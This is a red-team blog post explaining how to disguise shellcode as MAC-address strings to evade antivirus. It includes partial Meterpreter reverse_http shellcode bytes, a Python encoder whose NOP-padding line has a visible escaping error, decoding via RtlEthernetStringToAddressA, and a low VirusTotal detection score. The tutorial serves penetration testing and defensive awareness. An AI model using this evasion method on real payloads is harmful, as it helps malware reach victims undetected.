Adventures in Shellcode Obfuscation! Part 10: Shellcode as MAC Addresses
By Red Siege | August 21, 2024
by Mike Saunders, Principal Security Consultant
This blog is the tenth in a series of blogs on obfuscation techniques for hiding shellcode. You can find the rest of the series here. If you’d like to try these techniques out on your own, you can find the code we’ll be using on the Red Siege GitHub.
Another interesting way of obfuscating shellcode is to format the shellcode as an array of MAC addresses. I also became aware of this technique through the ORCA HellShell project. The technique was first discovered in the wild being used by the Hive ransomware group. Let’s take a look at how it works.
If you’re unfamiliar with them, a MAC address, or “medium access control” address, is a unique identifier assigned to a network interface, such as an ethernet adapter, wireless radio, or Bluetooth radio. A MAC address consists of six pairs of hexadecimal numbers separated by dashes or colons. For our purposes, each pair of hexadecimal numbers represents one byte of shellcode. That means each MAC address can hold six bytes of shellcode.
You can use HellShell to generate the appropriate shellcode and payloads. You can also use the Red Siege Shellcode Obfuscation project. The example below is a truncated Metasploit windows/x64/meterpreter/reverse_http payload formatted as MAC addresses. As with the IP address obfuscation blog, you’ll realize the first MAC address is the bytes \xfc\x48\x83\xe4\f0\e8. Pretty standard x64 Meterpreter unencrypted shellcode. Note the NOP (\x90) padding on the last two bytes of the last MAC.
const char* MACs[] = {
"fc-48-83-e4-f0-e8", "cc-00-00-00-41-51", "41-50-52-51-48-31", "d2-56-65-48-8b-52",
...
"48-01-c3-85-c0-75", "d2-58-c3-58-6a-00", "59-49-c7-c2-f0-b5", "a2-56-ff-d5-90-90" };
Constructing the array of addresses is pretty easy. We create an empty list, raw_macs, to store our MAC addresses. We’ll read in our raw shellcode 6 bytes at a time and look at that chunk of bytes and determine if it’s at least 6 bytes long. If it’s not, we’ve reached the end of the shellcode and need to pad it out to 6 bytes with NOPs. Finally, we format that chunk of shellcode as a MAC address using a format string. The code below will construct our MAC addresses for us.
# Read input shellcode file to get it in MAC format
raw_macs = []
chunk_size = 6
with open(input_file, "rb") as f:
chunk = f.read(chunk_size)
while chunk:
if len(chunk) < chunk_size:
padding = chunk_size - len(chunk)
chunk = chunk + (b"\\x90" * padding)
raw_macs.append('{:02x}-{:02x}-{:02x}-{:02x}-{:02x}-{:02x}'.format(*chunk))
break
raw_macs.append('{:02x}-{:02x}-{:02x}-{:02x}-{:02x}-{:02x}'.format(*chunk))
chunk = f.read(chunk_size)
Similar to the IP address obfuscation blog, we’ll be using a Windows function to convert our MAC address string to binary and store it in memory. To convert the strings, we’ll be using RtlEthernetStringToAddressA. RtlEthernetStringToAddressA is similar to the RtlIpv4StringToAddressA function we discussed previously. The function takes three parameters – the MAC address string, a pointer to the string termination character, and a pointer to where the binary representation of the MAC (our shellcode) will be stored. Note that this function requires our MAC addresses to be dash delimited. The following code from the Microsoft Learning site shows how RtlEthernetStringToAddressA should be used. As the code for converting our MAC addresses back to shellcode is essentially identical to the previous blog on RtlIpv4StringToAddressA, I won’t spend further time discussing it here.
NTSYSAPI NTSTATUS RtlEthernetStringToAddressA( [in] PCSTR S, [out] PCSTR *Terminator, [out] DL_EUI48 *Addr );
As you can see below, the technique fares fairly well against VT. The test program was detected by only 6 engines.

MAC Address Obfuscation VT Score
If you’d like to try this technique, I’ve written a simple Python program that will take raw shellcode and output a C source code file. You can find the repository on the Red Siege GitHub.
This blog is part of a larger series on obfuscation techniques. Stay tuned for our next installment!
About Principal Security Consultant Mike Saunders

Mike Saunders is Red Siege Information Security’s Principal Consultant. Mike has over 25 years of IT and security expertise, having worked in the ISP, banking, insurance, and agriculture businesses. Mike gained knowledge in a range of roles throughout his career, including system and network administration, development, and security architecture. Mike is a highly regarded and experienced international speaker with notable cybersecurity talks at conferences such as DerbyCon, Circle City Con, SANS Enterprise Summit, and NorthSec, in addition to having more than a decade of experience as a penetration tester. You can find Mike’s in-depth technical blogs and tool releases online and learn from his several offensive and defensive-focused SiegeCasts. He has been a member of the NCCCDC Red Team on several occasions and is the Lead Red Team Operator for Red Siege Information Security.
Certifications:
GCIH, GPEN, GWAPT, GMOB, CISSP, and OSCP
Related Stories
View MoreBy Red Siege | November 5, 2026
by Jason Downey This is Dig Dug. A Red Siege tool for avoiding av/edr can offer valuable solutions for penetration testers and red teamers. If you spend any amount of […]
Learn MoreBy Red Siege | October 5, 2026
by Stuart Rorer Most weeks, the tests I run are fairly routine: web applications, externals, and internals with a tight scope. But mobile application assessments have a way of getting […]
Learn MoreBy Red Siege | October 1, 2026
by Mike Saunders The AWS ReadOnlyAccess policy might be providing more access than you’re intending to grant. On a recent assessment, we observed widespread use of IAM roles with the […]
Learn More